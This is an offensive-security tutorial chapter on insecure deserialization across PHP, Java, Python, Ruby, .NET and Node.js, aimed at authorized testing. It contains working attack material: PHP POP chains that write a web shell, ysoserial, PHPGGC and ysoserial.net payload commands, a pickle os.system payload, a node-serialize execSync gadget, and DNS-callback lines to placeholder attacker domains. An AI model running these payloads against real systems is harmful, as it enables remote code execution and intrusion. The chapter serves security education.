Insecure Deserialization
This is Chapter 4 of the Server-Side notebook — Notebook 26. The three previous chapters shared a single theme: an attacker steering a server-side operation with tainted input. SSRF steered which URL the server fetches; file upload steered what the server stores and runs; path traversal and LFI steered which file the server reads and includes. This chapter targets a quieter, deeper operation that almost every application performs without a second thought — turning bytes back into a live object — and shows why handing that operation attacker-controlled bytes is one of the most reliable routes to remote code execution in the entire OWASP catalogue.
Insecure deserialization rarely looks dangerous at first glance. There is no obvious "eval", no SQL
string, no shell metacharacter. There is just a base64 cookie, a ViewState field, a cache entry, or
a message on a queue that the framework quietly rehydrates into objects on every request. The danger
is structural: the deserializer is a tiny virtual machine that follows instructions embedded in the
byte stream — create an object of this class, set these fields, call this method — and if an attacker
can write those instructions, they are programming your server. When the right classes ("gadgets")
already sit on the application's classpath, chaining them together produces a POP chain (Property-
Oriented Programming chain) that ends in Runtime.exec, system(), eval, or an arbitrary file write
— without the attacker uploading a single line of their own code.
This chapter builds the concept from absolute zero — what serialization even is and why it exists —
then goes language by language through the concrete exploitation primitives that make deserialization
the flaw it is: PHP object injection and manual POP-chain construction, Java's ObjectInputStream and
the ysoserial gadget arsenal, Python pickle, Ruby Marshal, .NET BinaryFormatter, and the
JavaScript variants. You'll learn to recognise serialized data on the wire, to detect the bug blindly
when you get no output, to build a working gadget chain by hand in a lab, and finally to shut the whole
class down with allow-list deserialization and safe data formats. Throughout, the boundary is firm:
these techniques are for authorized testing only — a deserialization RCE is a critical finding, and the
professional move is a non-destructive proof (a DNS callback, a benign id), not a destructive
payload on someone else's server.
Part 1: What Serialization Is and Why It Exists
Before you can attack deserialization you have to understand the ordinary, boring thing it corrupts.
Objects live in a program's memory as a graph: a User object holds a reference to an Address
object, which holds a list of PhoneNumber objects, and so on. That graph is made of pointers into RAM
— it is meaningless the moment the process ends or the moment you try to send it over a network. To
persist an object to disk, store it in a cache, put it on a message queue, or ship it between two
services, you need to flatten that in-memory graph into a linear sequence of bytes that can later
be reconstructed. That flattening is serialization (also called marshalling, pickling, or
"dehydration"); the reverse — bytes back into a live object graph — is deserialization
(unmarshalling, unpickling, "hydration").
flowchart LR
A["Live object graph<br/>in memory"] -->|serialize| B["Byte stream<br/>(string / blob)"]
B -->|store / send| C["Disk, cookie,<br/>cache, queue, network"]
C -->|receive / load| D["Byte stream"]
D -->|deserialize| E["Reconstructed<br/>object graph"]
The key insight — the one the whole chapter hangs on — is that a serialized blob is not merely data.
It is a description of how to rebuild an object, and rebuilding an object is an active process. The
deserializer reads class names, instantiates objects of those classes, sets their fields to values from
the stream, and — crucially — often invokes lifecycle methods the class defines (__wakeup,
readObject, __reduce__, readResolve, ObjectDataProvider) as part of reconstruction. Those
methods contain real code. If an attacker controls the byte stream, they control which classes get
instantiated and which fields those objects hold when their lifecycle methods run. That is the
entire vulnerability in one sentence: deserializing untrusted data lets an attacker instantiate
arbitrary available classes with arbitrary field values and trigger their magic methods.
There are two broad families of serialization format, and the distinction matters enormously for exploitability:
- Data-only formats — JSON, plain XML, YAML (in safe mode), Protocol Buffers, MessagePack. These
encode values: strings, numbers, booleans, arrays, maps. A decoder reading JSON produces a generic
map/dictionary; it does not, by itself, decide to instantiate your
EvilClass. These are far safer, though not automatically safe (JSON parsers with polymorphic type handling, and YAML's!!pythontags, reopen the door — see Parts 8 and 9). - Object/native formats — PHP
serialize(), JavaObjectOutputStream, Pythonpickle, RubyMarshal, .NETBinaryFormatter. These encode typed objects: the stream literally says "an object of classFoowith these private fields." A decoder reading these must instantiate the named class to rebuild the object. This is where insecure deserialization gets its teeth.
Security relevance: the single most reliable predictor of an exploitable deserialization bug is the
format. If you see a native object format (PHP O:, Java \xac\xed, Python pickle opcodes, .NET
AAEAAAD/////) carrying attacker-controlled bytes into a deserializer, you are one gadget away from
code execution. If you see JSON, you have to work harder and look for polymorphic type handling. Part 3
teaches you to fingerprint each format on sight.
Part 2: The Vulnerability Model — Magic Methods and Gadgets
To exploit deserialization you rarely find a class that says "if deserialized, run this shell command." Instead you assemble an attack out of legitimate code that already ships with the application or its libraries. The building blocks are called gadgets, and the assembled attack is a gadget chain or POP chain (Property-Oriented Programming chain). The name comes from the fact that you are programming the target not with your own instructions but by controlling object properties so that the target's own methods, invoked automatically during and after deserialization, do what you want.
The mechanism depends on magic / lifecycle methods — methods a runtime calls automatically at well-defined moments. The most abused ones, by language:
| Language | Auto-invoked during/after deserialization | Also commonly abused |
|---|---|---|
| PHP | __wakeup(), __unserialize() |
__destruct(), __toString(), __call(), __get() |
| Java | readObject(), readResolve(), readExternal() |
finalize(), hashCode()/equals() (via HashMap), toString() |
| Python | __reduce__() / __reduce_ex__() (drives unpickling) |
__setstate__(), __setattr__() |
| Ruby | _load / marshal_load |
method_missing, to_s |
| .NET | OnDeserialized, ISerializable ctor |
ObjectDataProvider, type converters |
A gadget chain works like a Rube Goldberg machine. Deserialization triggers a kick-off gadget (a
magic method that runs automatically, e.g. PHP __destruct or Java readObject). That method, doing
something innocent-looking like calling $this->handler->close() or iterating a map, invokes a method
on another object whose class the attacker also chose. That second call reaches a link gadget,
and so on down the chain, until a final sink gadget performs the dangerous action —
Runtime.exec(), call_user_func(), eval(), file_put_contents(), a reflective method invocation.
The attacker never writes any of these methods; they exist in the framework/library code. The attacker
only crafts the object graph so that following the normal method calls walks from kick-off to sink.
flowchart TD
A["Attacker-controlled<br/>serialized blob"] --> B["Deserializer rebuilds<br/>object graph"]
B --> C["Kick-off gadget<br/>(__destruct / readObject)"]
C --> D["Link gadget<br/>(__toString / invoke)"]
D --> E["Link gadget<br/>(reflection / lambda)"]
E --> F["Sink gadget<br/>system() / Runtime.exec()"]
F --> G["Remote Code Execution"]
Two consequences fall out of this model and shape everything an attacker does:
- You need gadgets on the target's classpath. A chain that ends in
Runtime.execonly works if the vulnerable app ships a library (Apache Commons Collections, Spring, Groovy, etc.) whose classes can be strung together into a chain. This is why tools likeysoserialare organized by library:CommonsCollections1,Spring1,Groovy1. The presence of a dependency, not the app's own code, often decides exploitability. - The impact ranges from RCE to object injection. Even without a full RCE chain, being able to
instantiate arbitrary classes and set their fields is powerful: you might reach an SSRF via a URL
gadget, an arbitrary file write, an authentication bypass (set
isAdmin=trueon a rehydrated user), a denial of service (a billion-laughs-style nested object), or a SQL injection through a controlled ORM object. Never dismiss a deserialization bug just because you don't immediately have an RCE gadget.
Bug bounty framing: on real programs the highest-value deserialization findings are RCE (P1/ critical), but object-injection primitives that lead to auth bypass or arbitrary file read/write are routinely triaged as high. The two PortSwigger deserialization labs that most people learn on — a PHP one that modifies a serialized cookie to escalate privileges, and one that builds a full POP chain — map exactly onto these two impact tiers.
Part 3: Recognising Serialized Data on the Wire
You cannot exploit what you cannot find. The practical skill that separates people who find
deserialization bugs from people who read about them is fingerprinting serialized blobs in traffic.
Serialized data hides in cookies, hidden form fields, Authorization-like headers, JSON string values,
URL parameters, WebSocket frames, cache keys, and message-queue payloads. It is very often base64- or
URL-encoded, sometimes gzip-compressed first. Learn the magic markers.
| Format | Raw signature | Base64 prefix | Notes |
|---|---|---|---|
PHP serialize() |
O:8:"UserData":, a:2:{...}, s:5:"hello" |
Tzo (for O:), YTo (for a:), czo (s:) |
Human-readable ASCII; type letters O a s i b d N |
| Java | bytes AC ED 00 05 |
rO0 (or rO0AB for stream header) |
rO0 is the single most recognisable web-security marker |
| Python pickle | opcodes, ends with . (STOP); starts \x80\x04 (proto 4), \x80\x05 |
gAS/gAJ/gAR etc. (\x80 = g...) |
Binary opcode soup; look for c__main__ or module names |
| Ruby Marshal | \x04\x08 version header |
BAg |
Compact binary |
| .NET BinaryFormatter | 00 01 00 00 00 FF FF FF FF |
AAEAAAD///// |
AAEAAAD///// is the giveaway |
| .NET LosFormatter / ViewState | often /wEP... |
/wE |
ASP.NET __VIEWSTATE |
| Java (Jackson/JSON polymorphic) | JSON with "@class", "@type", "$type" |
— | Type hints inside JSON are the red flag |
A few worked examples of decoding a suspicious value:
# You grabbed a cookie value from Burp; it looks like base64. Decode and inspect.
echo 'Tzo4OiJVc2VyRGF0YSI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJndWVzdCI7czo1OiJhZG1pbiI7YjowO30=' \
| base64 -d
# -> O:8:"UserData":2:{s:8:"username";s:5:"guest";s:5:"admin";b:0;}
# Clearly a serialized PHP object of class UserData with an `admin` boolean.
# A token starting with rO0AB is Java serialized data, base64-encoded:
echo 'rO0ABXNyABNjb20uZXhhbXBsZS5NeUJlYW4...' | base64 -d | xxd | head
# -> 00000000: aced 0005 7372 0013 636f 6d2e 6578 616d ....sr..com.exam
# aced 0005 = Java stream magic; `sr` = TC_OBJECT; then the class name.
# A .NET value:
echo 'AAEAAAD/////AQAAAAAAAAAMAgAAA...' | base64 -d | xxd | head -1
# -> 0000: 0001 0000 00ff ffff ff01 ... classic BinaryFormatter headerPractical tip: when a base64 string decodes to something starting with O: (PHP) or the bytes
AC ED (Java) or \x80 followed by opcodes (pickle), stop and take it seriously. Also watch for
double encoding (base64 of URL-encoded of the blob) and compression (gzip/zlib — a base64
string starting H4sI is gzip; eJ is zlib). Burp's Inspector and the Hackvertor extension will
chain-decode these for you. In Java specifically, the base64 prefix rO0 is worth committing to memory:
seeing it anywhere in a request is a near-guaranteed sign that Java serialized data is crossing a trust
boundary.
Part 4: PHP Object Injection From Scratch
PHP is the ideal teaching language for deserialization because its serialized format is human-readable,
so you can see your payload and edit it by hand. PHP serializes objects with serialize() and
rebuilds them with unserialize(). The format is a compact, self-describing string:
<?php
class UserData {
public $username = "guest";
public $isAdmin = false;
private $token = "abc";
protected $role = "user";
}
echo serialize(new UserData());
// O:8:"UserData":4:{s:8:"username";s:5:"guest";s:7:"isAdmin";b:0;
// s:15:"\x00UserData\x00token";s:3:"abc";s:7:"\x00*\x00role";s:4:"user";}Decode the grammar once and you can edit any PHP blob fluently:
| Token | Meaning | Example |
|---|---|---|
O:<len>:"<class>":<n>:{...} |
object of class, n properties |
O:8:"UserData":4:{...} |
s:<len>:"<string>"; |
string of byte length len |
s:5:"guest"; |
i:<int>; |
integer | i:42; |
b:<0|1>; |
boolean | b:1; |
d:<float>; |
double | d:3.14; |
a:<n>:{...} |
array with n key/value pairs |
a:2:{i:0;s:1:"x";i:1;s:1:"y";} |
N; |
null | N; |
| private property | key is \x00ClassName\x00prop |
s:15:"\x00UserData\x00token" |
| protected property | key is \x00*\x00prop |
s:7:"\x00*\x00role" |
Two subtleties trip up beginners and are worth burning in now:
lenis the byte length, not character count. If you change a string's contents you must fix its length prefix, orunserialize()silently returnsfalseand your attack dies. Multibyte characters and NUL bytes count individually.- Private/protected property keys contain NUL (
\x00) bytes. A private$tokenon classUserDatais stored under the key\x00UserData\x00token— that isNUL U s e r D a t a NUL t o k e n, 15 bytes. When you craft payloads by hand you must include those NUL bytes and count them in the length. This is the single most common reason a hand-written PHP gadget "doesn't work."
The simplest bug: tampering with trusted serialized state
The lowest-effort PHP deserialization bug needs no gadget chain at all. An application serializes an object into a cookie, trusts it on the way back, and never checks integrity:
// Vulnerable pattern
$user = unserialize(base64_decode($_COOKIE['session']));
if ($user->isAdmin) { /* grant admin */ }You decode the cookie, flip isAdmin from b:0 to b:1, re-encode, and you are admin. This is
exactly PortSwigger's "Modifying serialized objects" lab. The fix conceptually is don't trust
serialized state without a signature — but the deeper fix is don't deserialize native objects from
the client at all (Part 12).
Object injection via magic methods
The real power comes from PHP's magic methods. During and after unserialize(), PHP calls:
__wakeup()immediately after reconstructing an object — intended to re-establish resources (reopen a DB connection, etc.).__destruct()when the object is garbage-collected at script end — intended for cleanup (close file handles, flush buffers).__toString()when an object is used in string context — intended for display.
If any class reachable to the attacker defines one of these with a dangerous side effect, controlling its properties turns deserialization into code execution. The canonical teaching example:
<?php
class Logger {
public $logfile = "/var/log/app.log";
public $data = "";
// Intended: append a log line on cleanup.
public function __destruct() {
file_put_contents($this->logfile, $this->data, FILE_APPEND);
}
}
// Somewhere the app does: $x = unserialize($_POST['state']);Logger::__destruct calls file_put_contents with attacker-controlled logfile and data. An
attacker serializes a Logger whose logfile is /var/www/html/shell.php and whose data is
<?php system($_GET['c']); ?>. When the script ends, __destruct writes a web shell:
// Attacker builds the payload (they need, or reconstruct, the class definition):
$p = new Logger();
$p->logfile = "/var/www/html/shell.php";
$p->data = '<?php system($_GET["c"]); ?>';
echo base64_encode(serialize($p));
// Send as state=...; then visit /shell.php?c=idThis is PHP object injection: an attacker-chosen class is instantiated and its magic method runs with attacker-chosen properties, reaching a dangerous sink. When no single class gets you all the way, you chain them — the subject of Part 5.
Part 5: Building a PHP POP Chain by Hand
Real applications rarely hand you a Logger with a file_put_contents in its destructor. Instead you
build a POP chain: a graph of legitimate objects where one magic method call cascades into the next
until a sink is reached. Here is a deliberately minimal but realistic three-gadget chain you can run
locally to internalise the mechanics.
<?php
// ---- Gadget classes (imagine these live in the app + its libraries) ----
// SINK gadget: has a method that runs a command.
class CommandRunner {
public $cmd;
public function run() { system($this->cmd); } // dangerous sink
}
// LINK gadget: its __toString calls a method on another object.
class TemplateRenderer {
public $engine; // attacker points this at a CommandRunner
public $method; // attacker sets this to "run"
public function __toString() {
return (string) call_user_func([$this->engine, $this->method]);
}
}
// KICK-OFF gadget: __destruct forces the link object into string context.
class Cleanup {
public $message; // attacker points this at a TemplateRenderer
public function __destruct() {
// Innocuous-looking: log a message. But string-casting triggers __toString.
error_log("Cleaning up: " . $this->message);
}
}The kick-off is Cleanup::__destruct, which concatenates $this->message into a string — forcing
TemplateRenderer::__toString to run if message is a TemplateRenderer. That __toString calls
call_user_func([$engine, $method]); if engine is a CommandRunner and method is "run", it
invokes CommandRunner::run(), which calls system($cmd). Following object properties from kick-off to
sink is the whole art. Build the payload by wiring the objects together and serialising the outermost
one:
<?php
$sink = new CommandRunner();
$sink->cmd = "id; uname -a";
$link = new TemplateRenderer();
$link->engine = $sink;
$link->method = "run";
$kick = new Cleanup();
$kick->message = $link;
echo base64_encode(serialize($kick)), "\n";
// Paste this into the vulnerable unserialize() sink; on GC the chain fires.flowchart LR
A["Cleanup<br/>__destruct()"] -->|string cast of message| B["TemplateRenderer<br/>__toString()"]
B -->|call_user_func engine,method| C["CommandRunner<br/>run()"]
C -->|system(cmd)| D["RCE: id; uname -a"]
Automating it: PHPGGC (PHP Generic Gadget Chains)
Finding gadget chains inside big frameworks by hand is slow. PHPGGC is the PHP equivalent of
ysoserial: a catalogue of ready-made POP chains for popular libraries (Laravel, Symfony, Monolog,
Guzzle, Doctrine, WordPress, Magento, Yii, Slim, and many more). It is the first tool you reach for once
you confirm PHP deserialization and know (or can guess) the frameworks in use.
What it is / why it exists / install: PHPGGC turns "which class chain reaches a sink in Monolog 1.x?" from a research project into a one-liner. Install on Kali:
git clone https://github.com/ambionics/phpggc.git
cd phpggc
./phpggc -l # list every available gadget chain, grouped by libraryCore workflow — list, inspect, generate:
# 1) List chains for a specific library (grep the catalogue):
./phpggc -l monolog
# Monolog/RCE1 __destruct ... Monolog < 1.x (function call)
# Monolog/RCE2 ...
# 2) Show usage/parameters for one chain:
./phpggc -i Monolog/RCE1
# 3) Generate a payload that runs `id` via that chain:
./phpggc Monolog/RCE1 system id
# -> prints the raw serialized PHP object graph
# Useful flags:
# -b base64-encode the output (for cookies/params)
# -u URL-encode the output
# -f "fast destruct" variant to force __destruct earlier
# -a ASCII-safe output
# -o file write payload to a file instead of stdout
./phpggc -b -u Monolog/RCE1 system 'id' # base64 + urlencoded, drop straight into a paramRed team / bug bounty usage: when you find a PHP unserialize() on user input and can fingerprint
the framework (Composer's composer.lock, error messages, /vendor/ paths, cookie names), enumerate
matching PHPGGC chains and try them in order. A Laravel/RCE* or Monolog/RCE* chain firing against a
Cookie or POST body is a textbook critical. Always prove impact benignly first (system id or a DNS
callback), then stop — you have your finding.
Part 6: Java Deserialization and ysoserial
Java deserialization is the heavyweight of this vulnerability class: it powered some of the most
impactful CVEs of the last decade (Apache Struts, WebLogic, JBoss, Jenkins, WebSphere) and is the reason
"insecure deserialization" earned a slot in the OWASP Top 10. Java serializes objects with
ObjectOutputStream.writeObject() and rebuilds them with ObjectInputStream.readObject(). Any class
that implements java.io.Serializable can be written and read; during readObject(), a class's own
private readObject(ObjectInputStream) method (if it defines one) runs automatically — the kick-off
point for Java gadget chains.
Recognising and reaching the sink
Java serialized data always begins with the stream magic AC ED 00 05 (0xACED, version 0x0005),
which base64-encodes to a string starting rO0AB. It shows up in cookies, hidden fields, RMI/JMX
traffic, JMS/message queues, custom TCP protocols, T3 (WebLogic), and HTTP bodies. A minimal
vulnerable pattern:
// Anti-pattern: deserializing bytes straight off the wire.
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // <-- attacker controls the bytesThe catch that makes Java exploitation interesting: the deserialized object does not need to be a
type the application expects. readObject() will happily reconstruct any Serializable class on the
classpath, running that class's readObject/readResolve/finalize and, through collections like
HashMap, its hashCode()/equals(). That is how gadget chains bootstrap from a generic
readObject() into library code the app never intended to run.
sequenceDiagram
participant A as Attacker
participant S as Server (readObject)
participant G as Gadget classes on classpath
A->>S: POST serialized blob (rO0AB...)
S->>S: ObjectInputStream.readObject()
S->>G: reconstruct objects, run readObject/hashCode
G->>G: CommonsCollections Transformer chain
G->>G: InvokerTransformer -> Runtime.exec()
G-->>A: (blind) command runs; OOB callback / output
ysoserial — the Java gadget arsenal
What it is / why it exists / install: ysoserial is a collection of pre-built Java gadget chains
that produce a serialized payload which, when deserialized on a target with the matching library on its
classpath, executes a command. It abstracts away years of gadget research into ysoserial <Chain> '<command>'. You run it on your own machine (Kali) to generate bytes, then deliver those bytes to the
target.
# Grab the prebuilt jar (or build with maven). Requires a Java runtime.
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
java -jar ysoserial-all.jar # prints the list of available payload chains
# Payload Authors Dependencies
# CommonsCollections1 @frohoff commons-collections:3.1
# CommonsCollections5 ... commons-collections:3.1
# CommonsCollections6 ... commons-collections:3.1
# Groovy1 ... groovy:2.3.9
# Spring1 ... spring-core:4.1.4
# URLDNS @gebl (JRE only) <- blind detectionCore workflow — pick a chain that matches the target's libraries, feed it a command:
# Generate a CommonsCollections6 payload that runs `id`, save raw bytes:
java -jar ysoserial-all.jar CommonsCollections6 'id' > cc6.bin
# For blind detection with NO dependency requirement, use URLDNS (JRE-only):
java -jar ysoserial-all.jar URLDNS "http://YOURID.oastify.com" > urldns.bin
# Deliver the bytes. If the sink is an HTTP body:
curl -s --data-binary @cc6.bin -H 'Content-Type: application/octet-stream' \
https://target.example/api/deserialize
# If it's a base64 cookie:
base64 -w0 cc6.bin
# -> paste into the cookie value in Burp RepeaterKey chains you will actually reach for:
| Chain | Requires on classpath | Use |
|---|---|---|
URLDNS |
Nothing (JRE only) | Blind detection — triggers a DNS lookup, no RCE, no deps. Always try first. |
CommonsCollections1/5/6 |
Apache Commons Collections 3.1 | Classic RCE; CC6 avoids some CC1 constraints |
CommonsCollections2/4 |
Commons Collections 4.0 | The 4.x line |
Groovy1 |
Groovy 2.3.x | RCE where Groovy is present |
Spring1/2 |
spring-core / spring-beans | Spring apps |
JRMPClient / JRMPListener |
JRE | Turn a deserialization into an outbound JRMP connection to your listener → second-stage gadget |
Jdk7u21 |
JRE ≤ 7u21 | Pure-JRE RCE on old runtimes |
Blind detection with URLDNS is the professional first move. Because it needs no library on the
target and causes no code execution, it is safe and universal: if the target deserializes your
URLDNS payload, you get a DNS hit at your Collaborator/interactsh domain, confirming the bug
without touching RCE. Only then do you fingerprint dependencies and try RCE chains. This mirrors the
non-destructive-proof ethic that governs the whole chapter.
Part 7: Python pickle and Ruby Marshal
Python: pickle is arbitrary code execution by design
Python's pickle module is notorious, and the Python docs say so outright: "The pickle module is not
secure. Only unpickle data you trust." The reason is __reduce__. When Python pickles an object, it
asks the object (via __reduce__/__reduce_ex__) how to rebuild itself; the method returns a
callable and its arguments, and on unpickle, Python calls that callable with those arguments. An
attacker who crafts a pickle can make the callable be os.system and the argument be any command:
import pickle, os, base64
class RCE:
def __reduce__(self):
# (callable, args_tuple) -> on load, callable(*args) is invoked.
return (os.system, ("id; uname -a",))
payload = base64.b64encode(pickle.dumps(RCE()))
print(payload.decode())
# On the vulnerable side: pickle.loads(base64.b64decode(payload)) -> runs `id`The raw pickle for such a payload is short and recognisable — you can even hand-write it with opcodes:
# Hand-crafted pickle using the low-level opcodes (proto 0, human-ish):
payload = b"cos\nsystem\n(S'id'\ntR."
# c os \n system \n -> GLOBAL: push os.system
# ( S'id' \n t -> build the args tuple ('id',)
# R -> REDUCE: call os.system('id')
# . -> STOP
pickle.loads(payload) # executes idWhere pickle bites in the real world: anywhere Python moves objects around — pickle-based caches,
Celery/RQ task queues configured with the pickle serializer, ML model files (joblib/torch.load
historically used pickle under the hood — loading an untrusted .pt/.pkl model is RCE), Django
sessions with the pickle serializer, and Redis/Memcached-backed session stores. A base64 blob that
decodes to bytes starting \x80\x04 or \x80\x05 (or the ASCII c...\n...\n(...tR. shape) is a pickle;
treat it as a live grenade.
PyYAML deserves the same caution: yaml.load(data) without a SafeLoader will process
!!python/object/apply:os.system ['id'] tags and execute them. Always yaml.safe_load. Many "YAML
config injection" RCEs are really pickle-class problems wearing a YAML costume.
Ruby: Marshal and the universal gadget
Ruby's Marshal.load reconstructs arbitrary objects and, like the others, invokes lifecycle hooks
(_load, marshal_load, and — via method dispatch on rehydrated objects — chains through Ruby's
metaprogramming). For years Ruby exploitation needed app-specific gadgets, but researchers published
universal gadget chains that work against a stock Ruby/Rails install (e.g. the well-known chains
targeting Gem::Requirement/Gem::DependencyList and later pure-Ruby chains). A serialized Ruby blob
starts with the version bytes \x04\x08 (base64 BAg). Rails cookies, Marshal-backed caches, and
Oj/Ox with object mode are the usual entry points. The universal chains are catalogued in tooling
such as the GadgetChains collections and Metasploit modules; the exploitation shape is identical to
PHP/Java — controlled object graph, magic method kick-off, sink.
flowchart LR
subgraph Python
P1["pickle.loads(blob)"] --> P2["__reduce__ returns<br/>(os.system, ('id',))"] --> P3["os.system('id')"]
end
subgraph Ruby
R1["Marshal.load(blob)"] --> R2["universal gadget<br/>_load / method chain"] --> R3["Kernel#system / eval"]
end
Part 8: .NET Deserialization
The .NET ecosystem has a rich set of serializers and a matching set of dangerous ones. The infamous
sink is BinaryFormatter (and its cousins SoapFormatter, NetDataContractSerializer,
LosFormatter — the last one underlies ASP.NET __VIEWSTATE). Microsoft now marks BinaryFormatter
obsolete and dangerous precisely because deserializing untrusted data with it is RCE-by-design, much
like Java's ObjectInputStream.
A raw BinaryFormatter blob begins 00 01 00 00 00 FF FF FF FF and base64-encodes to a string starting
AAEAAAD/////. The JSON serializer Json.NET (Newtonsoft) is safe by default but becomes exploitable
when TypeNameHandling is set to anything other than None — that setting tells Json.NET to honour a
"$type" field in the JSON and instantiate whatever type it names, reopening the object-injection door
inside "just JSON":
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System",
"StartInfo": {
"$type": "System.Diagnostics.ProcessStartInfo, System",
"FileName": "cmd", "Arguments": "/c calc"
}
}
}ysoserial.net is the .NET counterpart to ysoserial, generating payloads for BinaryFormatter,
LosFormatter/ViewState, Json.NET, DataContractSerializer, and more, using gadgets like
ObjectDataProvider, TypeConfuseDelegate, and WindowsIdentity:
# On Windows (or via mono/wine). Generate a BinaryFormatter payload running calc:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
# Generate a ViewState payload when you have the machineKey (validation/decryption keys):
ysoserial.exe -p ViewState -g ObjectDataProvider -c "cmd /c ping YOURID.oastify.com" \
--generator=CA0B0334 \
--validationkey=<hex> --validationalg=SHA1 \
--decryptionkey=<hex> --decryptionalg=AES
# Json.NET payload:
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c calc"ASP.NET ViewState is the highest-value .NET target on the web: if you can recover the machineKey
(leaked web.config, a known/default key, or a padding-oracle) you can forge a signed __VIEWSTATE
that LosFormatter deserializes into RCE. This is the mechanism behind a long line of critical .NET
CVEs (e.g. the Exchange/SharePoint ViewState RCEs). The presence of a __VIEWSTATE field with
__VIEWSTATEGENERATOR and no MAC (or a leaked key) should immediately prompt a ViewState deserialization
test.
Part 9: JavaScript / Node.js Deserialization
JavaScript objects are usually moved as JSON, which is data-only and safe. Deserialization RCE enters Node.js through two doors:
- Unsafe object-deserialization libraries. The
node-serializepackage (and similar) supports serializing functions and, on deserialize, will evaluate an immediately-invoked function expression (IIFE) marker. A payload like the following runs onunserialize():
// Vulnerable: node-serialize evaluates function bodies, and the "_$$ND_FUNC$$_"
// marker plus an IIFE () at the end triggers execution on unserialize().
const serialize = require('node-serialize');
const payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\')' +
'.execSync(\'id > /tmp/pwned\');}()"}';
serialize.unserialize(payload); // executes id- Prototype pollution as a deserialization-adjacent primitive. Merging attacker-controlled JSON
into objects with a recursive
merge/extend/clonethat follows__proto__lets an attacker set properties onObject.prototype, which every object then inherits. On its own it corrupts application logic (auth bypass, DoS); combined with a gadget — a later code path that reads a polluted property and passes it to a sink likechild_process.spawn, a template engine, orrequire— it becomes RCE. This is why prototype pollution and deserialization are taught together.
{ "__proto__": { "isAdmin": true } }flowchart LR
A["Attacker JSON<br/>__proto__: {gadget: payload}"] --> B["Unsafe recursive merge<br/>follows __proto__"]
B --> C["Object.prototype polluted"]
C --> D["Later gadget reads<br/>polluted property"]
D --> E["Sink: spawn / template / require"]
E --> F["RCE or logic bypass"]
Bug bounty framing: prototype pollution is one of the most-rewarded modern JS classes precisely because a single polluted property can silently change behaviour deep in the app. PortSwigger's Web Security Academy has a dedicated prototype-pollution track (client- and server-side) that is the best place to build this instinct.
Part 10: Hands-On Lab — A Reproducible PHP POP Chain to RCE
This lab builds and fires a complete PHP object-injection chain end to end on your own machine. It is fully self-contained — no external target — so it is safe and legal to run. You will (1) stand up a tiny vulnerable app, (2) fingerprint the serialized cookie, (3) escalate with a simple property tweak, then (4) build a real POP chain that writes a web shell, and (5) trigger RCE. Everything runs in a throwaway directory.
Step 0 — Environment
mkdir -p ~/deser-lab && cd ~/deser-lab
php -v # any PHP 7.4+/8.x is fine; PHP ships on Kali. If missing:
# sudo apt update && sudo apt install -y php-cliStep 1 — The vulnerable application
Create app.php. It stores a serialized Session object in a cookie, trusts it back, and — crucially —
ships a Logger class whose __destruct writes a file. That Logger is our sink gadget.
<?php
// app.php — DELIBERATELY VULNERABLE. Lab use only.
class Session {
public $username = "guest";
public $isAdmin = false;
}
class Logger {
public $logfile = "/tmp/app.log"; // sink: file_put_contents target
public $data = ""; // sink: file_put_contents content
public function __destruct() {
file_put_contents($this->logfile, $this->data, FILE_APPEND);
}
}
if (!isset($_COOKIE['session'])) {
setcookie('session', base64_encode(serialize(new Session())));
echo "Session initialised. Reload.\n";
exit;
}
// VULNERABLE SINK: unserialize of attacker-controlled cookie, no integrity check.
$sess = unserialize(base64_decode($_COOKIE['session']));
if (is_object($sess) && ($sess->isAdmin ?? false)) {
echo "Welcome, admin {$sess->username}!\n";
} else {
echo "Hello, " . htmlspecialchars($sess->username ?? 'guest') . " (not admin)\n";
}Serve it:
cd ~/deser-lab
php -S 127.0.0.1:8888 app.php &
# [1] serving on http://127.0.0.1:8888Step 2 — Fingerprint the cookie
# First request initialises and Set-Cookies the session; grab it.
curl -s -i http://127.0.0.1:8888/ | grep -i set-cookie
# set-cookie: session=Tzo3OiJTZXNzaW9uIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6Imd1ZXN0IjtzOjc6ImlzQWRtaW4iO2I6MDt9
echo 'Tzo3OiJTZXNzaW9uIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6Imd1ZXN0IjtzOjc6ImlzQWRtaW4iO2I6MDt9' | base64 -d
# O:7:"Session":2:{s:8:"username";s:5:"guest";s:7:"isAdmin";b:0;}That decoded string is unmistakably a PHP serialized object (O: marker). We control it completely.
Step 3 — Trivial privilege escalation (no gadget)
Flip isAdmin from b:0 to b:1. The property count and string lengths don't change, so no length
math is needed:
NEW='O:7:"Session":2:{s:8:"username";s:5:"guest";s:7:"isAdmin";b:1;}'
COOKIE=$(printf '%s' "$NEW" | base64 -w0)
curl -s http://127.0.0.1:8888/ -H "Cookie: session=$COOKIE"
# Welcome, admin guest!You just escalated to admin by editing serialized state — the essence of PortSwigger's "Modifying serialized objects" lab.
Step 4 — Build the POP chain payload (object injection → RCE)
Now weaponise the Logger sink. We craft a serialized Logger whose destructor writes a PHP web shell
into the web root, then serve it. Because unserialize() will instantiate any available class from
the blob — not just Session — we substitute a Logger object into the cookie:
<?php
// build_payload.php — run with the SAME class defs available.
class Logger {
public $logfile;
public $data;
}
$p = new Logger();
$p->logfile = "/home/kali/deser-lab/shell.php"; // absolute path in our webroot
$p->data = "<?php system(\$_GET['c']); ?>\n";
echo base64_encode(serialize($p)), "\n";php build_payload.php
# Tzo2OiJMb2dnZXIiOjI6e3M6NzoibG9nZmlsZSI7czozMToiL2hvbWUva2FsaS9kZXNlci1sYWIvc2hlbGwucGhwIjtzOjQ6ImRhdGEiO3M6Mjg6Ijw/cGhwIHN5c3RlbSgkX0dFVFsnYyddKTsgPz4KIjt9
# (your path/lengths will differ — the tool computed them correctly)Notice we let PHP compute the serialized string, so the byte-length prefixes are correct automatically.
Hand-editing would require recounting s:<len> for the path and payload — the classic footgun.
Step 5 — Fire the chain and get RCE
PAY=$(php build_payload.php)
# Send the Logger blob as the session cookie. On script end, Logger::__destruct fires,
# writing shell.php into the lab directory.
curl -s "http://127.0.0.1:8888/" -H "Cookie: session=$PAY"
